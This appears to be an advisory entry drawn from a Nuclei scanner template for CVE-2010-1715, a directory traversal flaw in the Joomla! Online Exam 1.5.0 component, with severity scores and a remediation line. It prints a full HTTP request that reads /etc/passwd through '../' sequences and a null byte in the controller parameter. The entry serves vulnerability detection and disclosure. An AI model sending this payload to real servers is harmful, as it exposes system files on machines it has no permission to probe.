| Title | Joomla! Component Online Exam 1.5.0 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can exploit directory traversal through the controller parameter to read arbitrary files from Joomla servers running vulnerable Online Exam components. |
| Remediation | Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates. |
| CVSS Score | 6.8 |
| EPSS Score | 0.02135 |
| CVE ID | CVE-2010-1715 |
| CWE ID | CWE-22 |
| Tags | cve cve2010 joomla lfi edb packetstorm pucit.edu vuln |
A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
GET /index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2010/CVE-2010-1715.yaml
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